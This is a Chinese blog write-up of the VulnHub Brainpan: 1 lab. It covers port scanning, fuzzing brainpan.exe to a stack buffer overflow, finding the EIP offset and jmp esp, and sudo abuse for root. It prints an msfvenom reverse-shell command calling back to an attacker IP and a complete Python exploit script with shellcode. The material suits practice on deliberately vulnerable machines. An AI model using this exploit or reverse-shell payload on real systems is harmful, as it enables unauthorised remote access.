VulnHub-Brainpan: 1 靶场渗透测试

时间:2021.3.2

靶场信息:
地址:https://www.vulnhub.com/entry/brainpan-1,51/
发布日期:2013年3月20日 
目标:得到root权限&找到flag.txt

一、信息收集

1、获取靶机IP地址

nmap -sP 192.168.137.0/24

image-20210301214704320

由探测结果可知,靶机的IP为192.168.137.144

2、扫描开放的端口和服务

nmap -sS -sV -T5 -p- 192.168.137.144

image-20210301215015702

得到开放的端口信息:

9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)

3、网站信息收集

由于靶机的10000号端口开放了http服务,所以我们先访问看看

image-20210301215405979

没看到有什么东西,用dirb目录爆破一下,就找到了一个bin目录

image-20210301220112821

image-20210301220258807

发现一个可执行文件,我们将其下载到本地

image-20210301220546292

然后使用file命令检查分析该文件,发现它是一个32位Windows可执行文件,将其下载到windows机器上,再用immunity debugger打开brainpan.exe文件并运行

image-20210301224853558

创建一个简单的fuzzer python脚本,以发送字符串来尝试使程序崩溃

image-20210301225356502

输出字符串到windows机器的exe文件中

image-20210301230206644得知字符串会导致程序崩溃,我想确切地确定它崩溃的位置并覆盖EIP(在这种情况下,它是61616161,而ascii小写字母’a’是十六进制的,所以它表示aaaa),在python脚本有效负载中替换字符串,插入一串唯一的字符,要创建一串唯一的字符,可以使用metasploit工具“ pattern-create”来创建一个唯一的1000个字符的字符串
image-20210301230814989

将其添加到脚本中作为有效负载

image-20210301231733849

这次运行它时,确切地看到它崩溃的位置以及用来覆盖EIP的内容,可以看到它用35724134覆盖了EIP,知道字符在1000个字符的字符串中的某个位置,需要确切的知道它,可以使用metasploit

image-20210301232842523

修改下ptyhon脚本

image-20210301235408026

image-20210301235454846

看到EIP已被62626262(bbbb)覆盖了,注意确保增加区域的大小以容纳反向shell代码,需要将c的数量调整数值,右键单击ESP寄存器并选择“ follow in dump”,可以看到所有写入内存的’c’字符。起始地址是005FF910,向下滚动查看,可以看到写’c’的结束地址是005FFAE8

image-20210301235714146

现在需要检查包含在shellcode中的“坏字符”

image-20210301235946440

然后重新运行看不到任何丢失的字符,可以使用所有字符(\ x00为空字节除外)

image-20210302000717944

需要跳转到堆栈,就需要找到指令“ jmp esp”的地址,地址为311712F3

image-20210302001144904

使用msfvenom创建我的反向shell有效负载

msfvenom -p linux/x86/shell_reverse_tcp -b "\x00" LHOST=192.168.137.150 LPORT=666 -f python

image-20210302001756690

import sys,socket

victim = '192.168.137.144'
port = 9999

junk = "\x41"*524
eip = "\xf3\x12\x17\x31"
shellcode = "\x90" * 50 


buf =  ""
buf += "\xda\xcd\xba\x11\xe7\x27\xad\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x12\x83\xe8\xfc\x31\x50\x13\x03\x41\xf4\xc5"
buf += "\x58\x50\x21\xfe\x40\xc1\x96\x52\xed\xe7\x91\xb4\x41"
buf += "\x81\x6c\xb6\x31\x14\xdf\x88\xf8\x26\x56\x8e\xfb\x4e"
buf += "\xa9\xd8\x75\x18\x41\x1b\x86\x26\x08\x92\x67\x96\x4a"
buf += "\xf5\x36\x85\x21\xf6\x31\xc8\x8b\x79\x13\x62\x7a\x55"
buf += "\xe7\x1a\xea\x86\x28\xb8\x83\x51\xd5\x6e\x07\xeb\xfb"
buf += "\x3e\xac\x26\x7b"


payload = junk + eip + shellcode + buf




s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  print "[-] Connecting to " + str(victim)
  s.connect((victim, port))
  s.recv(1024)

  # Send payload 
  print "[-] Sending payload.... ",
  s.send(payload)
  print "Done"

except:
  print "[-] Unable to connect to " + str(victim)
  sys.exit(0)

运行脚本之后,就可以反弹shell了

image-20210302002723071

意思是可以选择一个执行,第三个后面的参数可以跟一个命令

image-20210302003205415

image-20210302003137821

已经以sudo(以root身份)运行了整个程序,然后如果我入!/bin/sh,它将在此目录中以root身份运行一个shell

image-20210302003719393

总结

碰到了很多新知识,缓冲区溢出、栈溢出、调式、exp编写等等。

posted @ 2021-03-02 00:43  l2sec  阅读(473)  评论(0编辑  收藏  举报